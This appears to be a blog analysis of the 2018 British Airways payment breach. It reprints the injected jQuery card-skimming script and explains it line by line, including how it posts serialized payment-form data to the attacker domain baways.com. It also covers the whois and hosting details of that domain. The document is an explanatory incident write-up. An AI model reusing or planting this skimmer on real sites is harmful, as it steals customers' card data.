On the 13th September 2018, British Airways announced the theft of financial and booking data of 380,000 customers in the 15 day period between 21st August 2018 and 5th September 2018.

Examining the cause, RiskIQ noticed a change in a single JavaScript file with the addition of a tiny amount of JavaScript:

window.onload = function () {
	jquery("#submitButton").bind("mouseup touchend", function (a) {
		var n = {};
		
		jQuery("#paymentForm").serializeArray().map(function (a) {
			n[a.name] = a.value;
		});
		
		var e = document.getElementById("personPaying").innerHTML;
		n.person = e;

		var t = JSON.stringify(n);

		setTimeout(function () {
			jQuery.ajax({
				type: "POST",
				async: !0,
				url: "https://baways.com/gateway/app/dataprocessing/api/",
				data: t,
				dataType: "application/json"
			});
		}, 500);
	});
};

The code was minified on the British Airways website to save on data transmission and make the loads time faster but was cleaned up by RiskIQ, as above.

Code Analysis

The code above is simple JavaScript using the jQuery library. jQuery is an incredibly common library that British Airways was already using and allows programmers to add events and actions to websites for slideshows, picture enlargement, tabs and other interactive elements on a web page. In this case, it is used to add an event to the submit button on the payment form to send all of the payment information to the website "baways.com".

Line 1 tells the browser to run a function when the webpage has loaded:

window.onload = function () {
	// any code to run when the page has finished loading
}

Line 2 binds an action to take place after the submit button is touched or clicked:

jQuery("#submitButton").bind("mouseup touchend", function (a) {
	// any code to run when the HTML element with the id "submitButton" is touched or clicked
})

Line 3 creates a new variable n as an empty JavaScript object that will store the payment details to be sent to the attackers website.

var n = {}

Lines 5-7 iterate over each field in the payment form and adds the information to the object n created earlier:

jQuery("#paymentForm").serializeArray().map(function (a) {
	n[a.name] = a.value;
});

The object n would now have many key-value pairs, depending on the names of the form fields and values inputted by the customer, such as:

n = {	
	nameOnCard: "Mr John Doe",
	cardNumber: "0000-1111-2222-3333",
	securityCode: "123",
	...
}

Lines 9 and 10 add the payer information to the n object as well:

var e = document.getElementById("personPaying").innerHTML;
n.person = e;

The object n will now have an additional person property, with all of the information inside the "personPaying" HTML element:

n = {	
	nameOnCard: "Mr John Doe",
	cardNumber: "0000-1111-2222-3333",
	securityCode: "123",
	...
	person: "<p>Mr John Doe</p>"
}

Line 12 turns this JavaScript object into a string of text:

var t = JSON.stringify(n);

The variable t now has a string value representing the same data:

t = '{"nameOnCard":"Mr John Doe","cardNumber":"0000-1111-2222-3333","securityCode":"123","person":"<p>Mr John Doe</p>"}'

Lines 14 and 22 set a function to run after a small delay of 500 milliseconds - although it's not immediately obvious why the delay was put in place:

setTimeout(function () {
	// code to run after the specified delay
}, 500)

Finally, lines 15-21 send the payment information to a third-party website:

jQuery.ajax({
    type: "POST",
    async: !0,
    url: "https://baways.com/gateway/app/dataprocessing/api/",
    data: t,
    dataType: "application/json"
});

jQuery.ajax({...}) is a method provided by the jQuery library to send HTTP requests to other websites with various configuration options. Most of the configuration for this request is self-explanatory but notice the url "https://baways.com" is made to look like an official British Airways domain name even though it is owned by the attackers. The variable t with all of the payment information is sent along the with HTTP request as data the attackers collect.

These few lines of course was all that was necessary to get the financial data of hundreds of thousands of customers.

Code Injection Analysis

While the code above is relatively simplistic, it is also very dangerous and should not have been part of the production codebase.

RiskIQ noticed the code was added on 21st August 2018 to the file at:

  • https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js

Modernizr itself a common JavaScript library to help ensure websites run the same way on old and new browsers, so there is nothing unusual about the presence of the file. However, it's important to note that the file is hosted by British Airways on one of their official domain names. This means one of two things happened:

  1. The code was added by a staff member of British Airways - or at least by someone trusted in the organisation to manage production systems
  2. The code was added by an outsider who managed to get access to British Airways production systems - either by breaking in or by being given the keys by an insider

The file above is included in both the website and the mobile app - which isn't an uncommon practice - which is why payments on the mobile app were affected too.

It's not likely that the full truth of how the code was injected will come about into the public domain.

Attacker Infrastructure Analysis

The attackers set up the domain name "baways.com" to make the site where the data was being sent seem legitimate and used the web path "/gateway/app/dataprocessing/api" to further seem inconspicuous.

However, a whois search of the domain shows it was only registered 5 days before the attack:

whois baways.com
Domain Name: BAWAYS.COM
Registry Domain ID: 2298080373_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2018-08-16T06:00:44Z
Creation Date: 2018-08-16T05:59:18Z
Registry Expiry Date: 2020-08-16T05:59:18Z

This helps to give an indication of the potential timeline the attackers had for their preparation and execution. It also shows the attack was highly targeted to British Airways.

The domain name resolves a single DNS A record to the IP address 89.47.162.248, which is based in Romania but is in fact part of a VPS based in Lithuania. Of course, this gives an idea of the potential nationalities of the entities involved.

Finally, the domain name is secured with an SSL certificate purchased from Comodo so the site can be served from HTTPS. This is not only necessary for the AJAX requests to work in the context of the payments pages sldo being served over HTTPS but further adds credibility to the attacker's webservice so that is not detected as quickly.

From this information, there is a small digital trail left behind from the attack but, as ever, it's not obvious if it will be enough to track down the entities involved.

Summary

The attackers used a relatively small and simple script to collect the financial data of the customers of British Airways. Having a small footprint and being obscured in a common file  helped the malicious code change remain undetected for 15 days. Nonetheless, the effects of the code change will continue to cause considerable issues for anyone unfortunate enough to have made in purchase in that time period.

The questions now are how the code made its way into the production systems, whether the attackers still have access to the production systems and how British Airways and other organisations will react to this to stop it from happening again.